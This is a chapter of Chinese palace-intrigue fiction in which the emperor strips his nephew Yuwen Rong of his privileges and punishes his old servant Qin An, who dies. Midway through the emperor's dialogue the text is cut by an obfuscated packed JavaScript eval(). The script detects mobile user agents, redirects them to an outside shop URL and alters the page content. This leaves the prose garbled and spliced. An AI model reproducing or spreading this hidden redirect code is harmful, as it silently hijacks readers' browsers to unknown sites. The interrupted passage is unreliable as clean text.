晨省
卯时过半，德泽殿内仍是一片晨起的静谧。
宇文戎坐在窗边，就着天光翻阅从锦州带回的地理志。他看得入神，直到秦安端着早膳进来，才觉腹中有些空。一切如常，仿佛与往日并无不同。
秦安布好菜，侍立一旁。在这位老宫人，乃至德泽殿所有旧人的认知里，靖王公子何时需要如寻常宗室那般，天不亮便去乾元殿外枯等？那是旁人要守的规矩，不是这位陛下自幼捧在心尖上的外甥要守的规矩。往日的特权，早已成为所有人思维里根深蒂固的“常例”。
辰时初刻，这份“常例”被一道旨意骤然击碎。
宣旨太监的到来毫无预兆，旨意更是简洁冷酷：“德泽殿宫人玩忽职守，竟不提醒公子晨省之礼，致使礼数延误，藐视宫规。掌事太监秦安，即刻锁拿，送慎刑司听候发落。”
秦安手中的托盘“哐当”落地，瓷碗碎裂，粥食泼洒一片。他瘫跪下去，面无人色。
宇文戎猛地站起，书卷滑落在地：“且慢！是我疏忽，与他无关！”
宣旨太监神色不动，只躬身道：“公子，陛下责备的是奴婢‘怠忽职守’。奴才只是奉旨拿人。” 话毕，眼神示意，随行内侍便上前拖人。
“我去向陛下解释！”宇文戎胸口微微起伏。
宣旨太监不再多言，转身带着被捆缚的秦安等人离去。秦安被拖过门槛时，竭力回头望向宇文戎，满是惊惶与绝望。
殿内死寂，唯有地上狼藉的粥食和碎片。
辰时二刻，宇文戎匆匆赶至乾元殿。
朝房外宗室子弟均在等候，见他疾步而来，许多人眼中闪过讶异。当值太监手持名册，待他走近，眼皮未抬，提笔在记录册上新起一行，工整写道：
靖王公子戎，辰时二刻至。
顿了顿，另起一行小字：
迟。
墨迹淋漓。人群中传来极低的私语。那个刺目的“迟”字，让所有人都明白——那份无需晨省的特权，今日起，不复存在。
宇文戎无暇顾及这些。他正要开口，乾元殿紧闭的殿门忽然开了一条缝，一名内侍出来，高声宣道：“宣太子殿下觐见——”
太子刘成排众而出，神色端凝，向殿门走去。经过宇文戎身边时，脚步几不可察地一顿，目光交汇一瞬，宇文戎看到了兄长眼中那抹沉重的忧虑。
太子入殿，门扉再次合拢。
起初，殿内并无异响。但不过一盏茶功夫，便有隐约的、属于梁帝的训斥声传来。虽听不真切，但“兄长之责”、“约束不力”、“规矩弛废”等词，依旧如冰锥般断续刺出。
宇文戎脸色一白，立刻上前，对守在殿门的侍卫道：“臣宇文戎，求见陛下。”
侍卫面无表情，手中金瓜微顿，声音平板：“陛下有旨，无宣不得入内。”
宇文戎沉默地立在原地。那声“无旨不得入内”，清晰地传入了身后所有等候者的耳中。众人神色各异，心中却是雪亮：往日那个可以直入殿中的靖王世子，如今，也不过是需“候旨”的“公子”之一了。
恩宠如潮水般褪去，露出底下冰冷坚硬的“定例”礁石。他过往所依恃的“往例”，在皇权需要时，可以随时被收回、被重新定义。而“定例”，才是这座宫殿里永恒运转的冰冷法则。
他僵立在原地。殿内，兄长为他的“过错”承受君父的训斥；殿外，他被这冰冷的法则隔绝。晨风穿过空旷的广场，卷起他靛蓝的衣角，寒意透骨。
许久，殿内的声音平息。殿门再次开启，太子走了出来。他面色紧绷，唇线抿得发白，目光与宇文戎一触即分，几不可察地微微摇头，便步履略显滞重地匆匆离去。
紧接着，怀恩自殿内走出。
他并未看向宇文戎，而是面向朝房外所有等候的宗室子弟，清了清嗓子，声音清晰而平稳：
“陛下口谕：凡宗室、藩邸在京者，每日卯时正刻，须至乾元殿外候旨请安，以肃宫规，以明礼制。此乃祖制旧例，望尔等恪守勿怠。”
他的目光缓缓扫过众人，确保每个人都听清了，才继续道：“今日已迟，各位且先回吧。明日，望准时。”
人群纷纷躬身应是，行礼散去。经过宇文戎身边时，目光中的意味更加复杂难言——有幸灾乐祸，有兔死狐悲，更多的是一种对权力风向重新评估的审慎。
怀恩这才转身，面对独自立在原地的宇文戎。他脸上没有任何特殊表情，只如常躬身一礼：“公子也请回吧。”
没有多余的嘱咐，没有私下转达的“圣意”。皇帝要说的，已在那道公开的口谕里，在那句“祖制旧例”中，在那一声“无旨不得入内”的阻拦后，表露无遗。
宇文戎袖中的手紧握成拳，声音平稳：“是。”
他转身离开乾元殿。背影在空旷的宫道上，显得格外清瘦孤直。
回到德泽殿，新调来的几名宫人噤若寒蝉。宇文戎从她们躲闪的眼神中，察觉到了什么。
他唤来一名内侍：“秦安……如何了？”
那内侍跪下，颤声道：“回公子……秦公公，被慎刑司定了罪，杖责后发配到苦役司了……怕是……难回来了……”
宇文戎闭上眼，半晌无言。
殿内只剩下风声。
许久，他挥了挥手。内侍退下。
窗外，温暖日光斜照进来，却驱不散殿内弥漫的寒意。他知道，从明日起，无论风雨，每日卯时，他都必须在乾元殿外，请安候旨。
晨规如钉，已将他牢牢钉在这宫廷的棋盘之上。
而棋盘上的每一寸移动，都将付出代价。
寒露过后，寒意浸骨。
宇文戎依旧是每日卯时初刻第一个抵达乾元殿外朝房的人。靛蓝布衣，沉默垂手。当值太监记录“靖王府公子戎，卯时至”，笔尖平稳。
他依旧递牌子，依旧被告知“陛下繁忙”，依旧会送上恳切恭顺的奏章，只为那个消失在慎刑司方向的老仆。
这一夜，子时三刻。
德泽殿的窗棂无声滑开。宇文戎如一抹深色流影，融入夜色。“踏雪无痕”的身法在宫阙阴影间起落，最终伏在苦役局对面湿冷的飞檐上。
缝隙里，秦安蜷缩的轮廓几乎与污浊融为一体，气息微弱如残烛。宇文戎呼吸骤停。
“公子。”怀恩的声音自后响起，平静无波，“陛下请您移步紫宸殿。”
紫宸殿，暖香袭人。
梁帝未着冠冕，仅披一件家常的暗金云纹袍，正就着灯火批阅几份闲章。闻声抬眼，脸上是宇文戎自幼看惯的、带着自然关切的神情。
“戎儿？”他放下笔，眉头微蹙，目光在宇文戎身上逡巡，那审视并非帝王对臣子，更像是长辈查看晚归孩童，“手这样凉。”他极其自然地伸手，触了一下宇文戎垂在身侧的手背，触感冰凉，便不赞同地摇了摇头，“怀恩说你从那边过来？胡闹！”
这责备里没有多少怒气，反而充满了实实在在的担忧。他太了解这孩子了——骨子里倔，心里揣着事就寝食难安。
“那是什么地方？秽气污浊，你自小体弱，夜里又……”他顿了顿，没说出“怕黑”二字，只道，“夜里视线不清，万一磕碰着，或是被什么惊着了，如何是好？回去又该不适。” 语气里是纯粹的长辈式忧心，“这样不行。从明日起，朕拨几个人到你身边，都是稳当可靠的。白日里不扰你，入夜后便让他们跟着。宫里这么大，规矩又多，有他们照应护着，朕也安心些。”
他没有具体说是谁，也没有说“至少别再乱闯”之类的话，但“照应护着”四字，在此时此地，已是最清晰的警告——你的人身安全朕很关心，所以你的行踪，从今往后也需在朕关切的视野之内。
他没有等宇文戎回应，似乎这安排理所当然。然后，他才仿佛想起什么，目光落回宇文戎沉默苍白的脸上，语气缓和下来，带上了一丝推心置腹的无奈：
“你这些天递上来的折子，朕都看了。知道你觉得委屈，觉得朕过于严苛。”他放下茶盏，声音里透出些许身在高位的疲惫，“可戎儿，宫规如此，朕为一国之君，有些事……不得不为。朝堂上下，多少双眼睛看着，朕若为你一人破例，往后这规矩还如何立得住？朕的难处，你可能明白？”
他并未疾言厉色，反而像是在解释，在寻求理解。然后，话锋极其自然地一转，声音更低，更缓，仿佛只是在闲谈一个再简单不过的道理，目光却带着一种不容错辨的深意，牢牢锁住宇文戎：
“不过话说回来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048618|194767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，宫规是朝廷的法度，自然要守。可若只论家礼……”他微微停顿，那目光里的深意几乎化为实质的压力，却又包裹在温和的语气里，“外甥来给舅舅请安，偶尔迟了一刻半刻，做舅舅的，难道还真能揪着不放，严厉责罚不成？那岂不是太不近人情了。”
殿内暖香萦绕，烛火柔和。帝王诉说着身为君主的“难处”，舅舅展示着身为长辈的“宽容”。一面是冰冷不容侵犯的“宫规”，一面是触手可及的“家礼”温情。而那目光中的压力，则在无声地催促着选择。
宇文戎袖中的手，缓缓握紧。他能清晰地看到那条界线，以及跨过界线后可能得到的“通融”。他也深知，这一步跨出，意味着什么。
梁帝似乎并不急于立刻得到答案。他端起茶盏，轻轻撇去浮沫，仿佛不经意地提起往事，语气变得更为舒缓，甚至带着一丝怀念：“你小时候，养的那只白雀死了，又哭又闹，谁来劝也不理。最后还是朕去，抱着你说‘雀儿回了天上，若见你如此自苦，它在天上看着，该多难过’，你才肯吃点东西。”
他抬眼，看向宇文戎，眼神温和中带着一丝真实的感慨：“你这孩子，心地纯善，重情念旧。这点……倒是一直没变。” 这感慨似是欣慰，却又隐隐指向今夜宇文戎为秦安冒险的举动，将其定性为“心地纯善”而非“忤逆犯禁”。
他放下茶盏，身子微微前倾，语气更加恳切，带着一种长辈对晚辈最诚挚的期望：“戎儿，你是天家血脉，身份贵重。舅舅对你没有别的奢求，只盼你一世平安喜乐，做个富贵清闲的逍遥公子，读读书，赏赏花，悠然度日。那些烦难辛苦、需要冲锋陷阵去争去抢的事情，自有旁人去做。你只需安稳稳地，享这天家福分，便再好不过了。何苦总是把自己绷得这样紧，嗯？”
时间在寂静中流淌，唯有烛火跳跃。梁帝不再说话，只是静静看着宇文戎，等待他自己想通，自己走向那条被“家礼”和“关爱”铺就的路。
终于，宇文戎动了。他缓缓站起身，走到梁帝座前，撩起衣袍下摆，双膝一曲，无声却沉重地跪了下去。额头触地，声音闷在冰冷的金砖上：
“舅舅……戎儿知错。求舅舅……开恩。”
梁帝看着他跪伏的身影，眼中那温和的底色未变，深处却仿佛有些什么沉淀了下去。他没有立刻叫起，任由那沉默的跪姿持续了片刻。
然后，他才几不可闻地轻叹一声，声音里充满了长辈的无奈与怜惜：“唉……知道错就好。起来吧，地上凉。” 语气比方才更加和缓，带着尘埃落定后的松弛，“你这孩子，就是心思太重。往后有什么事，直接来跟舅舅说便是，何苦自己硬扛？”
他这才转向侍立的怀恩，语气恢复了平日的淡然：“怀恩，去办吧。罪奴秦安，既已年老病重，不堪驱使，便依靖王府公子所请，移至西郊妥善安置，拨医诊治。务必……办得妥帖些。”
“奴才遵旨。”怀恩躬身，迅速退了出去。
梁帝的目光重新落回已站起身、却依旧低垂着头的宇文戎身上，温言道：“这下可安心了？回去好好歇着，莫再多想。”
宇文戎依礼谢恩：“谢陛下……”他抬眼，极快地瞥了一下梁帝的神色，那目光温和依旧，却平静无波，并无他担忧的任何情绪，只是平静。他喉结微动，终是低声补道：“……谢舅舅恩典。”
梁帝脸上露出了更为舒展的笑意，仿佛这才满意，轻轻挥了挥手：“去吧。”
退出温暖的偏殿，踏入刺骨的夜。怀恩在廊柱的阴影里追上，将一个粗布小包塞入他袖中，动作快而轻。
“公子，”声音低如蚊蚋，“秦安……在您来之前，已去了。这……是他最后的念想。”
宇文戎的脚步没有丝毫停滞，袖中的手却猛地收紧，将那粗布包死死攥住。布料粗糙，里面那点微硬的、冰冷的触感，如同一个浓缩的、沉默的句号。
与此同时，他清晰地感知到，身后几步之外，几道原本隐匿的气息，此刻已如影随形地跟了上来。步伐沉稳，距离精确。从此刻起，他的夜晚将不再有隐秘的角落。
他握着那包“恩典”与“终局”，在身后无声的“照看”下，一步一步，走回德泽殿。月光清冷，将他的身影投在漫长的宫道上，拉得很长，很静。